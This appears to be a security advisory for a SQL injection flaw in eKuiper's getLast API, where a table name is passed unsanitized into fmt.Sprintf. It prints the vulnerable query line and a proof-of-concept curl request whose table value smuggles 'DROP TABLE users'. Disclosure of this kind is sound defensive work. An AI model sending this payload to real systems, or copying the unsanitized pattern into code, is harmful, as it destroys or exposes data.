A critical SQL Injection vulnerability exists in the getLast
API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.
The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using fmt.Sprintf
, without validating the table
parameter. Specifically, in:
query := fmt.Sprintf("SELECT * FROM %s ORDER BY rowid DESC LIMIT 1", table)
Any value passed as the table
parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.
curl -X POST http://localhost:9081/sql-query \
-H "Content-Type: application/json" \
-d '{
"table": "sensors; DROP TABLE users; --",
"operation": "getLast"
}'
users
table. sqlite3 etc/kuiper/data/kuiper.db ".tables"
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
{ "cwe_ids": [ "CWE-89" ], "severity": "HIGH", "github_reviewed_at": "2025-07-24T14:19:17Z", "github_reviewed": true, "nvd_published_at": "2025-07-24T23:15:26Z" }